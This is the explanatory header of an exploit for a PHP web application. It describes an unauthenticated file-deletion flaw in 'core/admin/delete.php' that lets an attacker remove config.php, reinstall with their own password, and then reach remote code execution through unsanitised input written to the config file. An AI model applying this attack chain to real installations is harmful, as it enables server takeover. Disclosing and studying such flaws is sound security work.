/*
Bugs explanation:

This app has tons of bugs, but because of his structure lot of them are useless.. but not them all!

Look at 'core/admin/delete.php' (i have omitted the author comments):

---------------------------

<?php
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) { exit; } 
if (isset($_GET['file']) AND $_GET['file']!=NULL) {
	$file = $_GET['file']; 
	$ext = $_GET['ext'];
	if (file_exists("$absoluteurl$upload_dir$file.$ext")) {
		unlink ("$upload_dir$file.$ext");
		$PG_mainbody .="<p><b>$file.$ext</b> $L_deleted</p>";
	}

---------------------------

no check for admin rights, so now we can delete whatever file we want, with any exstension..

so let's delete config.php and make a rfesh new installation with a password set by us!

the RCE is triggered in 'core/admin/scriptconfig.php', line 56:

---------------------------
// recent in home
$recent = $_POST['recent'];
if ($recent != "") {
	$max_recent = $recent;
}
---------------------------

no sanitize of the input and no quotes added when writting to the config file (so no need mq=off)
